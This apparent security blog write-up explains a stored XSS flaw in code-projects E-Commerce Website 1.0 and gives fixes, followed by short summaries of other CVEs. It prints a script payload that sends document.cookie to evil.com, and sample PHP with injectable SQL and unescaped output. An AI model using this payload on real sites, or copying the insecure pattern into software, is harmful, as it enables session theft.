Jan 15, 2026·5 min read·35 visits
The 'E-Commerce Website 1.0' platform by code-projects allows anyone to add products via the `/pages/product_add.php` endpoint without proper authentication or input sanitization. Attackers can inject arbitrary JavaScript into the `prod_name`, `prod_desc`, or `prod_cost` fields. When a victim (like an admin) views the product list, the script executes, potentially leading to session hijacking or account takeover.
A classic Stored Cross-Site Scripting (XSS) vulnerability in code-projects E-Commerce Website 1.0 allows unauthenticated attackers to inject malicious JavaScript into product listings. This creates a persistent trap for any user—including administrators—who views the infected product pages.
In the world of open-source PHP projects, there is a special place for 'E-Commerce Website 1.0' by code-projects. It promises a simple platform for selling goods online. Unfortunately, it delivers a masterclass in how not to handle user input.
CVE-2025-12334 isn't some complex heap overflow or a race condition requiring nanosecond timing. It is the digital equivalent of leaving your store's front door unlocked, the safe open, and a sign on the counter saying 'Please rob us.'
The vulnerability lies in the most critical component of any shop: the inventory system. Specifically, the file responsible for adding new products (/pages/product_add.php) treats all user input as gospel truth, leading to a text-book Stored Cross-Site Scripting (XSS) flaw. If you can type <script>, you can own this platform.
The root cause here is Improper Neutralization of Input During Web Page Generation (CWE-79). In simpler terms, the application takes what you give it and smears it onto the screen for everyone else to see, without checking if you gave it a product name or a malicious payload.
Most modern frameworks handle this automatically. They sanitize inputs or escape outputs so that code is rendered as text. This application, however, appears to be written in 'Raw PHP from 2005' style.
Even worse, reports indicate that accessing /pages/product_add.php might not even require authentication. This means an attacker doesn't even need to buy a product or create an account; they can simply navigate to the URL and start poisoning the database. The application fails to validate the prod_name, prod_desc, and prod_cost parameters, assuming users will only enter text and numbers. Users, as we know, are not that benevolent.
Let's look at the anatomy of this disaster. While the specific source code isn't fully disclosed in a git diff, the behavior describes a very specific, common pattern in vulnerable PHP applications.
The code likely grabs POST data and shoves it directly into a SQL query string. It looks something like this:
// pages/product_add.php
// 1. Receive dirty input directly from the global $_POST array
$name = $_POST['prod_name'];
$desc = $_POST['prod_desc'];
$cost = $_POST['prod_cost'];
// 2. Insert into Database WITHOUT sanitization or prepared statements
// This creates both XSS and SQL Injection risks
$query = "INSERT INTO products (prod_name, prod_desc, prod_cost) VALUES ('$name', '$desc', '$cost')";
$mysqli->query($query);Later, when an admin checks their inventory in product_list.php, the application echoes that data back out:
// pages/product_list.php
while($row = $result->fetch_assoc()) {
// The browser sees the <script> tag and executes it immediately
echo "<tr><td>" . $row['prod_name'] . "</td>...</tr>";
}This is the "Smoking Gun." The lack of htmlspecialchars() or htmlentities() on the output, combined with the lack of input filtering, completes the attack chain.
Because this is Stored XSS, the attack is asynchronous. The attacker plants the mine, and the victim steps on it later. Here is how a researcher—or an attacker—would verify this:
1. Scout the Target
The attacker navigates to http://target-site.com/pages/product_add.php. If the developers were truly lazy, this page is accessible without logging in.
2. Craft the Payload The attacker fills out the form. Instead of naming the product "Red T-Shirt", they name it:
<script>fetch('http://evil.com/steal?cookie='+document.cookie)</script>They might also inject into the prod_cost field, knowing that developers often forget to validate that a price is actually a number.
3. The Trap is Set The attacker clicks "Save". The database now stores that script tag as the product name.
4. Execution
An administrator logs in to check why a new product appeared. The moment the product_list.php page loads, the browser parses the malicious name. The script executes silently, sending the admin's session ID (cookies) to the attacker's server (evil.com). The attacker can now impersonate the admin.
Fixing this requires a defense-in-depth approach. You cannot rely on just one layer.
1. Output Encoding (The Silver Bullet)
The most effective fix for XSS is to treat all user content as text, not code. In PHP, this means wrapping variables in htmlspecialchars() before echoing them:
// The Fixed View Logic
echo "<td>" . htmlspecialchars($row['prod_name'], ENT_QUOTES, 'UTF-8') . "</td>";This converts <script> into <script>, which displays safely in the browser but does not execute.
2. Input Validation
Ensure prod_cost is actually a number/float. If someone tries to send text for a price, reject the request entirely.
3. Access Control
Restrict access to /pages/product_add.php. Only authenticated administrators should be able to reach this endpoint. This reduces the attack surface significantly.
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N| Product | Affected Versions | Fixed Version |
|---|---|---|
E-Commerce Website code-projects | = 1.0 | None |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-79 (Cross-Site Scripting) |
| CVSS v3.1 | 4.3 (Medium) |
| CVSS v4.0 | 5.3 (Medium) |
| Attack Vector | Network (Remote) |
| Attack Complexity | Low |
| Privileges Required | None (Unauthenticated) |
| Exploit Status | Public PoC Available |
The software does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.
CVE-2026-114147 is a high-severity Denial of Service (DoS) vulnerability affecting ASP.NET Core and specifically the Microsoft.AspNetCore.SignalR.StackExchangeRedis scale-out provider across .NET 8.0, 9.0, 10.0, and 11.0 preview releases. The vulnerability originates from a string comparison mismatch between internal per-connection group collections and the centralized Redis channel subscription registry, compounded by a race condition during connection teardown. Remote unauthenticated attackers can exploit this flaw to leave orphaned connection contexts and active Redis pub/sub listeners pinned in memory, leading to unbounded memory exhaustion and application process termination.
CVE-2026-114156 is an improper resolution of path equivalence vulnerability (CWE-41) in Microsoft ASP.NET Core affecting .NET 11.0 preview releases and Microsoft Visual Studio 2026. The vulnerability stems from a discrepancy between how path prefix validation helpers (such as PathString.StartsWithSegments) and downstream routing mechanisms handle alternate path separators and percent-encoded characters. An unauthenticated remote attacker can exploit this mismatch over the network to bypass path-based authorization middleware and access restricted endpoints.
CVE-2026-114157 is a high-severity local privilege escalation and security feature bypass vulnerability affecting ASP.NET Core on Microsoft Windows. The flaw resides in the Kestrel web server's Named Pipes transport layer (Microsoft.AspNetCore.Server.Kestrel.Transport.NamedPipes) and stems from a race condition (CWE-362) during broken pipe error recovery. When an active connection throws an IOException during handshake acceptance, the connection listener previously disposed of the broken NamedPipeServerStream instance before acquiring a replacement stream from its internal pool. This sequence created a momentary window where zero server instances of the named pipe existed in the Windows Named Pipe File System (NPFS). A local, low-privileged attacker can exploit this timing window to create a named pipe with the identical name and a permissive Discretionary Access Control List (DACL), hijacking subsequent inter-process communications and escalating privileges across security boundaries.
CVE-2026-124194 is a forced authentication and spoofing vulnerability in Microsoft Office Outlook caused by a missing user interface warning before dereferencing remote network paths (CWE-356). By embedding an attacker-controlled Universal Naming Convention (UNC) path within MAPI message properties such as PidLidReminderFileParameter, an unauthenticated remote attacker can force a victim's system to initiate an outbound SMB or WebDAV connection upon opening or previewing a crafted message. This automatic authentication handshake leaks the user's NetNTLMv2 hash, enabling offline password cracking or real-time NTLM relay attacks. The vulnerability was exploited in the wild as a zero-day prior to its remediation in Microsoft's November 2026 Patch Tuesday updates and is listed in the CISA Known Exploited Vulnerabilities (KEV) catalog.
CVE-2026-114154 is a high-severity Denial of Service (DoS) and uncontrolled resource consumption vulnerability in the Microsoft.AspNetCore.Server.HttpSys component of ASP.NET Core. When processing an HTTP request that simultaneously contains a chunked Transfer-Encoding header, a Content-Length header, and an explicit X-Content-Length header, the server throws an unhandled ArgumentException during header normalization. In certain versions, subsequent exception handling attempts to dereference a disposed native request context, aborting error response dispatch and leaking unmanaged HTTP.sys request structures.
A local elevation of privilege vulnerability exists in the Microsoft .NET Aspire CLI (`Aspire.Cli`) versions 13.5.4 prior to 13.6.5. When executing SDK management commands (`aspire sdk generate`, `aspire sdk dump`, and `aspire sdk export`), the CLI creates temporary project directories inside the shared operating system temporary folder (such as `/tmp` on Unix-like systems) without restricting directory permissions or disabling MSBuild automatic response file resolution. A local, low-privileged attacker on a multi-user system can place a crafted `Directory.Build.rsp` file in the shared temporary directory hierarchy. When a victim user executes an affected Aspire CLI command, MSBuild traverses upward, ingests the attacker-controlled response file, and executes arbitrary commands in the security context of the victim user.